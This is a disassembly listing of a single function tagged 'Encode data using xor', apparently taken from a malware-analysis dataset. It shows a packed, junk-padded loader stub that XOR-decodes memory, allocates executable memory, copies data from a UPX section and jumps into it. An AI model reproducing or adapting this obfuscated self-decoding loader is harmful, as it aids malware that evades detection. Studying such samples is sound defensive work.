Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x5f469230
add esi, 0x319f9426
add eax, esi
popal
add esi, esi
add eax, eax
mov esi, 0x5d6c76a1
mov edi, 0
mov eax, esi
inc edx
sub edx, ecx
mov ebx, eax
inc ecx
mov edx, ecx
inc ecx
mov esi, ebx
mov edx, 0xc33567b4
and ecx, ecx
mov edx, 0x3685dc4f
inc edi
and edx, ecx
add ecx, 0xa6270251
cmp edi, 0x10061ca
jne 0xa789c9
dec ecx
sub edx, ecx
inc eax
not esi
mov esi, 0xa78796
sub edx, 0x5accf08c
mov edi, ebx
mov ecx, 0xa7898a
add edx, edi
mov ebx, edi
mov eax, dword [esi]
mov edi, 0xe539a5a7
not edi
mov ebx, 0xc3361d6
and eax, 0xff
sub edx, edi
mov edx, 0xf17f5aa4
add edx, 1
xor dword [ecx], eax
sub ebx, 0xdf91d445
inc edx
and edi, ebx
add ecx, 1
mov ebx, 0x26ad8d56
not edi
inc esi
and edx, edx
not ebx
cmp ecx, entry0
jl 0xa78a13
add edx, 0x511475c8
and edi, edx
dec edx
add edi, edi
dec ebx
add edi, 0x958272d8
mov edi, ecx
mov ebx, edx
mov esi, 0xa7898e
add edi, ecx
add edx, ebx
mov esi, dword [esi]
or edi, edx
mov ebx, edx
add edi, 0xd9ddb725
mov esi, dword [esi]
mov ecx, 0xd6ae923d
mov edx, 0x8bef2ac6
sub esp, 4
mov dword [esp], esi
or edx, ebx
and ecx, ecx
sub edx, 1
mov esi, 0xa7898a
add edi, edx
mov ecx, edx
mov esi, dword [esi]
add ecx, 0xa14592c5
not ebx
mov esi, dword [esi]
mov ecx, 0x26b9a08a
add ebx, 0x3159042e
push 0xa78992
mov edi, 0xbac8c2be
or edx, ebx
mov ebx, edi
call esi
mov edx, ebx
dec edi
add edx, 0xf0369abd
mov esi, dword [esp]
add esp, 4
inc ecx
sub edi, 0x7e75e412
sub ecx, edx
push 0xa7899f
sub edi, 0x3a817578
add edi, edi
push eax
mov ecx, 0x6364444f
add ebx, edi
and edi, ebx
call esi
mov edx, edi
or ecx, ebx
sub esp, 4
mov dword [esp], 0x40
sub ecx, 0xd4d41d96
not edx
sub esp, 4
mov dword [esp], 0x3000
dec edi
and ecx, edi
not edi
push 0x20000c45
mov ebx, edx
add ebx, 0xfa340649
mov edi, 0x94a61a82
sub esp, 4
mov dword [esp], 0
or ecx, edi
sub ebx, 1
call eax
add edx, edi
sub ecx, 0x1450ac66
add eax, 0x20000b8c
add edx, 0x171259ab
not ebx
mov esi, 0xec589107
or edx, edx
sub ebx, 0x4b48db9e
mov dword [eax], esi
sub ebx, 0x551dbfce
mov edi, ebx
or ebx, ebx
mov esi, dword [eax]
add ecx, 0x6b844f2c
mov edi, ebx
and ebx, ebx
cmp esi, 0xec589107
je 0xa78b9a
mov ecx, 0
mov dl, byte [ecx]
add ebx, 1
and ecx, ecx
mov ebx, edx
sub ebx, 0x83489c2e
mov edi, 0xaa09b1c0
sub esi, 0x42ca863e
inc eax
add eax, eax
mov ebx, section.UPX1
and esi, eax
dec esi
mov edx, 0xa78795
add esi, 0xe93ca8f6
or eax, esi
dec eax
mov ecx, 0
add esi, eax
sub esi, 0x53fa9119
mov edi, 0xa78796
sub eax, esi
add eax, eax
mov esi, eax
lea edi, [edi + ecx]
sub esi, eax
and esi, eax
mov edi, dword [edi]
mov eax, esi
or esi, eax
and edi, 0xff
and eax, eax
and esi, eax
mov esi, 0x4b7407d4
inc ecx
mov eax, 0x4b9edfd2
mov esi, eax
sub eax, esi
cmp ecx, 0x1f4
jne 0xa78c19
mov ecx, 0
not eax
dec esi
sub eax, 1
dec esi
add esi, eax
xor dword [ebx], edi
add eax, 0x9f9ae740
sub esi, 0xf8ad6a5b
mov esi, eax
add ebx, 2
not eax
and esi, eax
cmp ebx, edx
jl 0xa78bdb
sub esi, 0x5575c117
add eax, 0x5af80f8
sub eax, 0xd4292330
not eax
not esi
mov esi, section.UPX1
and edi, ecx
mov edi, ecx
not edi
mov eax, section.UPX1
not ecx
add ecx, 0x5ef9aa9f
mov ebx, 0xa78795
sub ecx, edi
sub edi, 0x38700b4
mov edx, 0
or ecx, edi
not edi
mov dl, byte [eax]
dec edi
sub ecx, 0x75304e2c
dec edi
mov byte [esi], dl
or ecx, ecx
mov ecx, 0x11743eba
inc ecx
inc esi
inc ecx
sub edi, ecx
mov ecx, 0xf22087b6
add eax, 2
inc ecx
and edi, edi
and ecx, edi
cmp eax, ebx
jle 0xa78c8b
not ecx
add ecx, edi
add eax, 1
add eax, esi
or esi, eax
push 0x8dc6a0
add esi, 1
add esi, eax
ret